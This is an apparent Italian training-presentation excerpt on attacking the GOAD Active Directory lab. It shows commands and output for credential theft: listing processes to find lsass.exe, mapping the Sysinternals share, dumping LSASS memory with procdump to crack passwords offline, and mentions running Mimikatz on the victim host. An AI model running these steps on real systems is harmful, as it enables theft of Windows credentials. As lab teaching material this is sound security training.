**Estrarre il dump della memoria del processo LSASS
e utilizzare Mimikatz direttamente sull'host.**

```
PS Q:\> tasklist
tasklist
```

Image Name	PID	Session Name	Session#	Mem Usage
System Idle Process	0	Services	0	8 K
System	4	Services	0	128 K
Registry	88	Services	0	69,308 K
smss.exe	304	Services	0	1,212 K
csrss.exe	400	Services	0	6,016 K
wininit.exe	476	Services	0	6,872 K
csrss.exe	484	Console	1	4,920 K
winlogon.exe	548	Console	1	9,708 K
services.exe	616	Services	0	12,776 K
lsass.exe	624	Services	0	20,356 K
svchost.exe	740	Services	0	3,876 K
fontdrvhost.exe	760	Services	0	3,864 K
fontdrvhost.exe	768	Console	1	3,784 K
svchost.exe	776	Services	0	13,452 K
svchost.exe	872	Services	0	9,632 K
svchost.exe	916	Services	0	7,916 K
LogonUI.exe	988	Console	1	43,060 K
dwm.exe	1004	Console	1	37,116 K



Ciclo di vita dell'attacco su GOAD - Stabilire il punto d'appoggio - Escalation dei privilegi

net use Q: \\live.sysinternals\tools

```
PS Q:\> .\procdump64.exe -accepteula -ma 624 C:\tmp\lsass.dmp
.\procdump64.exe -accepteula -ma 624 C:\tmp\lsass.dmp

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[12:46:46] Dump 1 initiated: C:\tmp\lsass.dmp
[12:46:46] Dump 1 writing: Estimated dump file size is 48 MB.
[12:46:46] Dump 1 complete: 49 MB written in 0.4 seconds
[12:46:46] Dump count reached.
```

net use Q: \\live.sysinternals\tools
Estrarre la memoria dmp e ottenere le password offline.

**In alternativa, utilizzare la condivisione dell'utente
System sulla macchina attaccante ed eseguire mimikatz
direttamente sull'host della vittima.**





Grazie per l'attenzione

Presentazione a cura di:

Christos Grigoriadis (Punto focale)